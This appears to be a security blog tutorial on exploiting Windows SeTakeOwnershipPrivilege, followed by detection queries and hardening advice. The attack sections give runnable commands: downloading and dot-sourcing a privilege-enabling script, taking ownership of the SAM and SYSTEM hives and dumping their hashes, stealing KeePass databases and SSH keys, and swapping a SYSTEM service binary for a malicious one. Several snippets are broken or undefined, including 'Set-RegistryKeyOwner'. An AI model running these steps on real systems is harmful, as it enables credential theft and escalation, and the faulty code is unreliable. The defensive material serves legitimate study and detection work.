Skip to Content
SeTakeOwnershipPrivilege exploitation showing file ownership manipulation and registry takeover

SeTakeOwnershipPrivilege Exploitation

Abusing SeTakeOwnershipPrivilege on Windows to take ownership of files, registry keys and service binaries for privilege escalation.

Jan 15, 2026
Updated Nov 22, 2026
33 min read

Introduction

SeTakeOwnershipPrivilege is a Windows user right that lets its holder take ownership of any securable object on the system: files, folders, registry keys, processes, services and Active Directory objects. It is abused less often than some other dangerous privileges, but it leads to privilege escalation and to data the account was never meant to read.

No direct SYSTEM shell

This privilege does not hand you SYSTEM directly. You take ownership of an object, rewrite its ACL, and then use the access. Done in that order, it opens almost any object on the system.

Windows ownership and security descriptors

The Windows security model

Every securable object in Windows has a security descriptor with four parts:

  1. Owner SID, the security identifier of the object's owner
  2. Primary group SID (mostly for POSIX compatibility)
  3. DACL (Discretionary Access Control List), the permissions granted or denied
  4. SACL (System Access Control List), the audit rules for the object

Ownership vs. permissions

Permissions control what you can do to an object (read, write, delete and so on). Ownership carries the implicit right to change the object's permissions.

What the owner can always do

The owner of an object can always modify its DACL, even if the DACL explicitly denies them access. Whoever owns the object controls it.

Normal ownership transfer

Only three kinds of account can take ownership of an object:

  1. Administrators, for any object
  2. Users who hold the WRITE_OWNER permission on that object
  3. Users with SeTakeOwnershipPrivilege, for any object

What SeTakeOwnershipPrivilege grants

A user with SeTakeOwnershipPrivilege enabled can take ownership of:

  • any file or folder, regardless of its permissions
  • registry keys and values
  • processes and services
  • Active Directory objects (in AD environments)

Once they own the object they can rewrite its permissions and give themselves full access.

Common assignment scenarios

Legitimate use cases

SeTakeOwnershipPrivilege is sometimes granted to non-administrative accounts:

  • Backup service accounts, which need to read every file. It is often combined with SeBackupPrivilege and SeRestorePrivilege so the account does not need full administrative rights.
  • Content management: web application service accounts that manage file shares, document management systems, and content indexing and search services.
  • System maintenance accounts used for file cleanup and archival, automated maintenance scripts and legacy system migrations.
  • Development and testing: developers debugging file permission issues, test environments with relaxed policy, and troubleshooting of misconfigured permissions.

Not a safe middle ground

Organizations grant SeTakeOwnershipPrivilege to avoid handing out full administrator rights, on the assumption that it is the safer option. An account that holds it can get to nearly everything an administrator can.

Group Policy assignment location

The privilege is assigned through Group Policy at Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment → Take ownership of files or other objects.

Enumeration and discovery

Checking current user privileges

Enumerate privileges

Check whether your current user context has SeTakeOwnershipPrivilege:

whoami /priv

Example output:

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                              State
============================= ======================================================== ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                                Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                          Disabled

Disabled state

A privilege shown as "Disabled" can still be enabled programmatically. What matters is whether the privilege appears in the list at all. If it is there, you can use it.

Enable the privilege

Use PowerShell to enable SeTakeOwnershipPrivilege for your session:

# Download and import privilege enabler script
$url = "https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1"
iwr -Uri $url -OutFile EnableAllTokenPrivs.ps1
. .\EnableAllTokenPrivs.ps1

# Verify privilege is now enabled
whoami /priv

After enabling:

Privilege Name                Description                              State
============================= ======================================== =======
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Enabled

Identify high-value targets

Look for sensitive files and directories you cannot currently access:

# Attempt to list restricted directories
Get-ChildItem "C:\Department Shares\Private" -Recurse -ErrorAction SilentlyContinue

# Search for interesting file types
Get-ChildItem -Path C:\ -Include *.kdbx,*.key,*.pem,*.pfx,*.p12,*password*,*cred*,*secret* -Recurse -ErrorAction SilentlyContinue

# Check for files you don't have access to
Get-ChildItem "C:\Program Files" -Recurse | Where-Object {
    -not (Get-Acl $_.FullName).Access.IdentityReference.Value.Contains($env:USERNAME)
}

BloodHound enumeration

In Active Directory environments, BloodHound can identify users and service accounts with SeTakeOwnershipPrivilege:

// Find users with SeTakeOwnershipPrivilege
MATCH (u:User)-[:HasSession]->(c:Computer)
WHERE u.name =~ ".*"
RETURN u.name, u.privilegeslist

// Find paths from owned user to sensitive files through privilege
MATCH p=(u:User {owned: true})-[r:MemberOf*1..]->(g:Group)-[:CanTakeOwnership]->(o:Object)
RETURN p

Exploitation techniques

File system exploitation

Taking ownership of sensitive files

Using PowerShell ACL objects:

# Define target file
$targetFile = "C:\Department Shares\Private\IT\cred.txt"

# Get current ACL
$acl = Get-Acl $targetFile

# Create new owner (current user)
$owner = New-Object System.Security.Principal.NTAccount($env:USERNAME)

# Set ownership
$acl.SetOwner($owner)
Set-Acl -Path $targetFile -AclObject $acl

# Verify ownership changed
Get-Acl $targetFile | Select-Object Owner

Output:

Owner
-----
CORP\backupadmin

Grant Full Control:

# Modify ACL to grant yourself full control
$acl = Get-Acl $targetFile
$permission = "$env:USERDOMAIN\$env:USERNAME","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$acl.SetAccessRule($accessRule)
Set-Acl -Path $targetFile -AclObject $acl

# Verify access
Get-Content $targetFile

SAM and SYSTEM registry hives

The Security Account Manager (SAM) database contains local user password hashes.

Location:

C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM

Exploitation:

# Take ownership of SAM and SYSTEM files
takeown /f C:\Windows\System32\config\SAM
takeown /f C:\Windows\System32\config\SYSTEM

# Grant read access
icacls C:\Windows\System32\config\SAM /grant %USERNAME%:F
icacls C:\Windows\System32\config\SYSTEM /grant %USERNAME%:F

# Copy to accessible location
copy C:\Windows\System32\config\SAM C:\Temp\SAM
copy C:\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

# Extract hashes using impacket-secretsdump
secretsdump.py -sam SAM -system SYSTEM LOCAL

File locking

SAM and SYSTEM files are locked while Windows is running. You may need to:

  • Access Volume Shadow Copies
  • Boot from alternate OS
  • Use backup/restore privileges
  • Access repair copies in C:\Windows\Repair

Web application configuration files

Web.config files often contain database credentials, API keys, and connection strings.

Common locations:

C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\<app_name>\web.config
C:\Program Files\<application>\config\

Exploitation:

# Take ownership of web.config
takeown /f "C:\inetpub\wwwroot\web.config"
icacls "C:\inetpub\wwwroot\web.config" /grant %USERNAME%:F

# Read sensitive data
Get-Content "C:\inetpub\wwwroot\web.config" | Select-String -Pattern "password|connectionString|apiKey"

Example of what you find:

<connectionStrings>
  <add name="DefaultConnection"
       connectionString="Server=sql01;Database=ProductionDB;User Id=sa;Password=P@ssw0rd123!;"
       providerName="System.Data.SqlClient" />
</connectionStrings>

<appSettings>
  <add key="APIKey" value="sk-proj-abc123xyz789" />
  <add key="SecretKey" value="a8f5f167f44f4964e6c998dee827110c" />
</appSettings>

KeePass database files

A password manager database holds every credential its owner uses.

Search for KeePass files:

# Search entire C: drive for KeePass databases
Get-ChildItem -Path C:\ -Include *.kdbx -Recurse -ErrorAction SilentlyContinue

# Common locations
$locations = @(
    "$env:USERPROFILE\Documents",
    "$env:USERPROFILE\Desktop",
    "$env:USERPROFILE\OneDrive",
    "C:\Users\*\Documents",
    "\\fileserver\shares\IT"
)

foreach ($location in $locations) {
    Get-ChildItem -Path $location -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue
}

Take ownership and copy the database:

$kdbxPath = "C:\Users\admin\Documents\passwords.kdbx"

# Take ownership
takeown /f $kdbxPath
icacls $kdbxPath /grant %USERNAME%:F

# Copy to your location
Copy-Item $kdbxPath -Destination C:\Temp\loot\passwords.kdbx

# Attempt to crack with hashcat (requires extracting hash first)
keepass2john passwords.kdbx > keepass.hash
hashcat -m 13400 keepass.hash wordlist.txt

SSH private keys and certificates

Private keys authenticate to remote systems without a password.

Search for keys:

# Find SSH private keys
Get-ChildItem -Path C:\Users -Include id_rsa,id_dsa,id_ecdsa,id_ed25519,*.pem,*.key -Recurse -ErrorAction SilentlyContinue

# Common locations
$sshLocations = @(
    "$env:USERPROFILE\.ssh",
    "C:\Users\*\.ssh",
    "C:\ProgramData\ssh",
    "C:\Keys"
)

foreach ($loc in $sshLocations) {
    Get-ChildItem -Path $loc -Recurse -ErrorAction SilentlyContinue | Where-Object {
        $_.Extension -in @(".pem", ".key", "") -and $_.Name -notlike "*.pub"
    }
}

Use the keys you find:

# Take ownership
takeown /f "C:\Users\admin\.ssh\id_rsa"
icacls "C:\Users\admin\.ssh\id_rsa" /grant %USERNAME%:F

# Copy and use
Copy-Item "C:\Users\admin\.ssh\id_rsa" -Destination C:\Temp\id_rsa

# On Linux attack system
chmod 600 id_rsa
ssh -i id_rsa user@target.com

Registry exploitation

The Windows Registry holds configuration, credentials and system settings.

Taking ownership of registry keys

Using reg.exe. reg.exe has no "take ownership" command, so the approach is the registry equivalent of takeown and icacls:

# Enable registry key access via takeown (doesn't work directly on registry)
# Instead, use PowerShell or specialized tools

# Grant permissions using reg.exe
reg add "HKLM\SAM\SAM" /v TestValue /t REG_SZ /d "test" /f
# This will fail without ownership

Limitation

reg.exe cannot take ownership directly. Use PowerShell or a dedicated registry tool for ownership changes.

High-value registry targets

SAM registry key:

HKLM\SAM\SAM\Domains\Account\Users

Contains local user account hashes.

LSA secrets:

HKLM\SECURITY\Policy\Secrets

Contains:

  • Service account passwords
  • Auto-logon credentials
  • VPN credentials
  • Scheduled task credentials

Cached domain credentials:

HKLM\SECURITY\Cache

Contains cached domain logon credentials (DCC/DCC2 hashes).

Wi-Fi passwords:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles

Service and process manipulation

Taking ownership of a service executable lets you replace it, which leads to privilege escalation.

Identify the service binary path

# List all services and their binary paths
Get-WmiObject Win32_Service | Select-Object Name, DisplayName, PathName, StartMode, State

# Find services running as SYSTEM
Get-WmiObject Win32_Service | Where-Object {$_.StartName -eq "LocalSystem"} | Select-Object Name, PathName

Take ownership of the service executable

$servicePath = "C:\Program Files\VulnerableService\service.exe"

# Take ownership
takeown /f $servicePath
icacls $servicePath /grant %USERNAME%:F

Replace the service binary

# Backup original
Copy-Item $servicePath -Destination "$servicePath.bak"

# Replace with malicious binary
Copy-Item C:\Temp\malicious.exe -Destination $servicePath -Force

# Restart service
Restart-Service -Name "VulnerableService"

Execute as SYSTEM

When the service starts, your binary runs as SYSTEM.

Service disruption

Replacing a service binary can break the service and destabilize the system. It is a destructive action. Only do it in a controlled test environment or with explicit authorization.

Detection and monitoring

Event log monitoring

Event ID 4656: handle to object requested (ownership)

This event logs when a handle with WRITE_OWNER access is requested.

Detection query:

SecurityEvent
| where EventID == 4656
| where AccessMask contains "0x80000"  // WRITE_OWNER
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where ObjectType in ("File", "Key")
| project TimeGenerated, Computer, SubjectUserName, ObjectName, ObjectType, AccessMask, ProcessName
| summarize Count = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
    by SubjectUserName, ObjectName, ProcessName
| where Count > 5 or ObjectName contains "SAM" or ObjectName contains "SYSTEM" or ObjectName contains "SECURITY"

Targets to alert on:

  • C:\Windows\System32\config\SAM
  • C:\Windows\System32\config\SYSTEM
  • HKLM\SAM\SAM
  • HKLM\SECURITY
  • Any file under C:\Windows\System32\

Event ID 4670: permissions on an object changed

Logged when the DACL or ownership of an object changes.

Detection logic:

SecurityEvent
| where EventID == 4670
| extend ObjectType = tostring(parse_json(EventData).ObjectType)
| extend ObjectName = tostring(parse_json(EventData).ObjectName)
| extend SubjectUserName = tostring(parse_json(EventData).SubjectUserName)
| extend OldOwner = tostring(parse_json(EventData).OldSd)
| extend NewOwner = tostring(parse_json(EventData).NewSd)
| where SubjectUserName !endswith "$"
| where ObjectName contains "config" or ObjectName contains "SAM" or ObjectName contains "SYSTEM"
| project TimeGenerated, Computer, SubjectUserName, ObjectName, ObjectType, OldOwner, NewOwner

Alert criteria:

  • Ownership changes on system files
  • Multiple ownership changes in a short time period
  • Ownership changes followed by file access or modification

Event ID 4672: special privileges assigned (SeTakeOwnershipPrivilege)

Generated when a user logs on and is assigned SeTakeOwnershipPrivilege.

Query:

SecurityEvent
| where EventID == 4672
| where PrivilegeList contains "SeTakeOwnershipPrivilege"
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where SubjectUserName !endswith "$"
| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName, LogonID, PrivilegeList
| join kind=inner (
    SecurityEvent
    | where EventID == 4656
    | where AccessMask contains "0x80000"
    | project ObjectAccessTime=TimeGenerated, Computer, LogonID=SubjectLogonId, ObjectName
) on Computer, LogonID
| where ObjectAccessTime between (TimeGenerated .. (TimeGenerated + 1h))

Process creation monitoring (Event ID 4688)

Monitor for takeown.exe and icacls.exe usage.

Detection query:

SecurityEvent
| where EventID == 4688
| where NewProcessName endswith "\\takeown.exe" or NewProcessName endswith "\\icacls.exe"
| extend CommandLine = tostring(parse_json(EventData).CommandLine)
| where CommandLine contains "SAM" or CommandLine contains "SYSTEM" or CommandLine contains "config" or CommandLine contains "/grant"
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, CommandLine, ParentProcessName

Suspicious patterns:

  • takeown.exe targeting system directories
  • icacls.exe with /grant on sensitive files
  • Multiple sequential takeown/icacls operations
  • Execution from non-administrative user accounts

Behavioral analytics

Access patterns that stand out:

Anomaly typeWhat to look for
Time-basedFile ownership changes outside business hours; batch ownership operations (multiple files in a short time); ownership changes followed immediately by file reads
User-basedService accounts taking ownership of user files; standard users modifying system file ownership; external or contractor accounts changing sensitive file ownership
Object-basedOwnership changes on rarely-modified system files; registry key ownership changes in sensitive hives; ownership transfer followed by permission modification

A detection that correlates these:

// Detect ownership + modification + potential exfiltration pattern
let OwnershipChanges = SecurityEvent
| where EventID == 4670
| extend ObjectName = tostring(parse_json(EventData).ObjectName)
| extend Actor = tostring(parse_json(EventData).SubjectUserName)
| project OwnershipTime=TimeGenerated, Computer, Actor, ObjectName;

let FileAccess = SecurityEvent
| where EventID == 4663
| where AccessMask contains "0x1"  // READ_DATA
| extend ObjectName = tostring(parse_json(EventData).ObjectName)
| extend Actor = tostring(parse_json(EventData).SubjectUserName)
| project AccessTime=TimeGenerated, Computer, Actor, ObjectName;

let NetworkConnections = NetworkConnectionEvents
| where RemotePort !in (80, 443, 445, 3389, 53)
| project ConnTime=TimeGenerated, Computer, LocalUser, RemoteIP, RemotePort, BytesSent;

OwnershipChanges
| join kind=inner FileAccess on Computer, Actor, ObjectName
| where AccessTime between (OwnershipTime .. (OwnershipTime + 10m))
| join kind=inner NetworkConnections on $left.Computer == $right.Computer and $left.Actor == $right.LocalUser
| where ConnTime between (AccessTime .. (AccessTime + 30m))
| where BytesSent > 1000000  // More than 1MB sent
| project OwnershipTime, AccessTime, ConnTime, Computer, Actor, ObjectName, RemoteIP, RemotePort, BytesSent
| summarize
    ObjectCount = dcount(ObjectName),
    TotalBytesSent = sum(BytesSent),
    RemoteIPs = make_set(RemoteIP)
    by Computer, Actor
| where ObjectCount > 3 or TotalBytesSent > 10000000

Mitigation and hardening

Principle of least privilege

Audit current assignments

# Export current security policy
secedit /export /areas USER_RIGHTS /cfg C:\Temp\security_policy.txt

# Review SeTakeOwnershipPrivilege assignments
Get-Content C:\Temp\security_policy.txt | Select-String "SeTakeOwnershipPrivilege"

# Check via Group Policy Results
gpresult /h C:\Temp\gp_report.html
# Open report and search for "Take ownership"

Remove unnecessary assignments

# Remove SeTakeOwnershipPrivilege from specific user
secedit /configure /db reset.sdb /cfg C:\Temp\security_policy.txt /areas USER_RIGHTS

# Via Group Policy:
# Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment
# Open "Take ownership of files or other objects"
# Remove all entries except Administrators group (if required)

Set up just-in-time access

For legitimate use cases that need SeTakeOwnershipPrivilege:

  1. Create a restricted security group, TakeOwnership_JIT
  2. Make membership time-limited, using PowerShell or identity management tools
  3. Require manager approval for group membership
  4. Log every use of the privilege
  5. Remove membership automatically after 4 hours

Example JIT implementation:

# Grant temporary SeTakeOwnershipPrivilege
function Grant-TemporaryTakeOwnership {
    param(
        [string]$UserName,
        [int]$Hours = 4
    )

    # Add user to TakeOwnership_JIT group
    Add-LocalGroupMember -Group "TakeOwnership_JIT" -Member $UserName

    # Schedule removal
    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Command `"Remove-LocalGroupMember -Group 'TakeOwnership_JIT' -Member '$UserName'`""
    $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddHours($Hours)
    Register-ScheduledTask -TaskName "Remove_$UserName_TakeOwnership" -Action $action -Trigger $trigger

    Write-Host "[+] Granted SeTakeOwnershipPrivilege to $UserName for $Hours hours"
}

# Usage
Grant-TemporaryTakeOwnership -UserName "CORP\backupadmin" -Hours 4

File system hardening

Set up File Integrity Monitoring (FIM):

# Windows built-in auditing for file system changes
auditpol /set /subcategory:"File System" /success:enable /failure:enable

# Configure specific directories for monitoring
$paths = @(
    "C:\Windows\System32\config",
    "C:\inetpub\wwwroot",
    "C:\Program Files",
    "C:\Keys"
)

foreach ($path in $paths) {
    $acl = Get-Acl $path
    $auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
        "Everyone",
        "TakeOwnership,ChangePermissions",
        "ContainerInherit,ObjectInherit",
        "None",
        "Success,Failure"
    )
    $acl.SetAuditRule($auditRule)
    Set-Acl -Path $path -AclObject $acl
}

Protect sensitive files with explicit deny ACLs:

# Add explicit DENY for ownership changes
$file = "C:\Sensitive\database.config"
$acl = Get-Acl $file

$denyRule = New-Object System.Security.AccessControl.FileSystemAccessRule(
    "BUILTIN\Users",
    "TakeOwnership,ChangePermissions",
    "Deny"
)

$acl.SetAccessRule($denyRule)
Set-Acl -Path $file -AclObject $acl

Deny ACLs limitation

An explicit DENY ACE does not stop a user with SeTakeOwnershipPrivilege from taking ownership. It only helps against accounts that try to change permissions without the privilege.

Service account hardening

Managed Service Accounts (MSA/gMSA):

# Create Group Managed Service Account (gMSA)
New-ADServiceAccount -Name BackupSvc -DNSHostName backupsvc.corp.local -PrincipalsAllowedToRetrieveManagedPassword "BackupServers"

# Install on target system
Install-ADServiceAccount -Identity BackupSvc

# Configure service to use gMSA
$service = Get-WmiObject -Class Win32_Service -Filter "Name='BackupService'"
$service.Change($null,$null,$null,$null,$null,$null,"CORP\BackupSvc$",$null)

Benefits:

  • Automatic password management
  • No user-managed credentials
  • Auditable through AD
  • Privilege assignment can be restricted per account

Privileged access workstations (PAWs)

For high-security environments:

  • Separate administrative access. Use dedicated workstations for administrative tasks, with no email, browsing or general productivity work on them, and strict application whitelisting.
  • Tier credentials. Tier 0 is domain controllers and enterprise admins, Tier 1 is servers and service accounts, Tier 2 is workstations and standard users. Prevent credential use across tiers.
  • Turn on the platform protections: Credential Guard, Device Guard / WDAC, HVCI (Hypervisor-protected Code Integrity), and BitLocker with TPM.

Defense checklist

  • Audit all accounts with SeTakeOwnershipPrivilege
  • Remove unnecessary privilege assignments
  • Use just-in-time access for legitimate use cases
  • Configure auditing for Event IDs 4656, 4670, and 4672
  • Deploy File Integrity Monitoring on sensitive directories
  • Enable Credential Guard and LSA Protection
  • Monitor for takeown.exe and icacls.exe usage patterns
  • Create behavioral baselines for file and registry access
  • Use DLP to detect sensitive file exfiltration
  • Review and test detection capabilities regularly

Attack scenarios

Scenario 1: file share compromise

Initial access

A penetration tester gets onto a file server with compromised service account credentials.

Discovery

They enumerate the file shares and find a restricted "Legal" directory holding sensitive contract documents.

Privilege enumeration

A privilege check shows SeTakeOwnershipPrivilege assigned to the backup service account.

Exploitation

# Enable privilege
. .\EnableAllTokenPrivs.ps1

# Take ownership of target directory
takeown /f "\\fileserver\Legal\Contracts" /r /d y

# Grant access
icacls "\\fileserver\Legal\Contracts" /grant CORP\backupsvc:F /t

# Exfiltrate data
robocopy "\\fileserver\Legal\Contracts" "C:\Temp\loot" /E /Z

Impact

The tester can read confidential legal contracts, merger documents and attorney-client privileged communications.

What would have prevented it:

  • Service accounts should not have SeTakeOwnershipPrivilege
  • Deploy file access monitoring and DLP
  • Use file classification and rights management
  • Monitor for unusual file access patterns

Scenario 2: registry-based credential theft

Access obtained

An attacker compromises a developer workstation and has administrative access with SeTakeOwnershipPrivilege.

Target identification

The LSA Secrets registry hive on the workstation contains service account credentials.

Registry exploitation

# Take ownership of LSA Secrets
Set-RegistryKeyOwner -RegistryPath "HKLM\SECURITY\Policy\Secrets"

# Export secrets
reg save HKLM\SECURITY C:\Temp\SECURITY
reg save HKLM\SYSTEM C:\Temp\SYSTEM

# Extract credentials using impacket
secretsdump.py -security SECURITY -system SYSTEM LOCAL

Lateral movement

The attacker uses the extracted service account credentials to move laterally to production servers.

What would have prevented it:

  • Developer workstations should not have sensitive privileges
  • Enable LSA Protection (RunAsPPL)
  • Use Credential Guard to isolate secrets
  • Monitor registry access to sensitive hives

References

MITRE ATT&CK techniques

Common Weakness Enumeration

Microsoft documentation

Tools documentation

On this page

IntroductionWindows ownership and security descriptorsThe Windows security modelOwnership vs. permissionsNormal ownership transferWhat SeTakeOwnershipPrivilege grantsCommon assignment scenariosLegitimate use casesGroup Policy assignment locationEnumeration and discoveryChecking current user privilegesEnumerate privilegesEnable the privilegeIdentify high-value targetsBloodHound enumerationExploitation techniquesFile system exploitationTaking ownership of sensitive filesSAM and SYSTEM registry hivesWeb application configuration filesKeePass database filesSSH private keys and certificatesRegistry exploitationTaking ownership of registry keysHigh-value registry targetsService and process manipulationIdentify the service binary pathTake ownership of the service executableReplace the service binaryExecute as SYSTEMDetection and monitoringEvent log monitoringEvent ID 4656: handle to object requested (ownership)Event ID 4670: permissions on an object changedEvent ID 4672: special privileges assigned (SeTakeOwnershipPrivilege)Process creation monitoring (Event ID 4688)Behavioral analyticsMitigation and hardeningPrinciple of least privilegeAudit current assignmentsRemove unnecessary assignmentsSet up just-in-time accessFile system hardeningService account hardeningPrivileged access workstations (PAWs)Defense checklistAttack scenariosScenario 1: file share compromiseInitial accessDiscoveryPrivilege enumerationExploitationImpactScenario 2: registry-based credential theftAccess obtainedTarget identificationRegistry exploitationLateral movementReferencesMITRE ATT&CK techniquesCommon Weakness EnumerationMicrosoft documentationTools documentation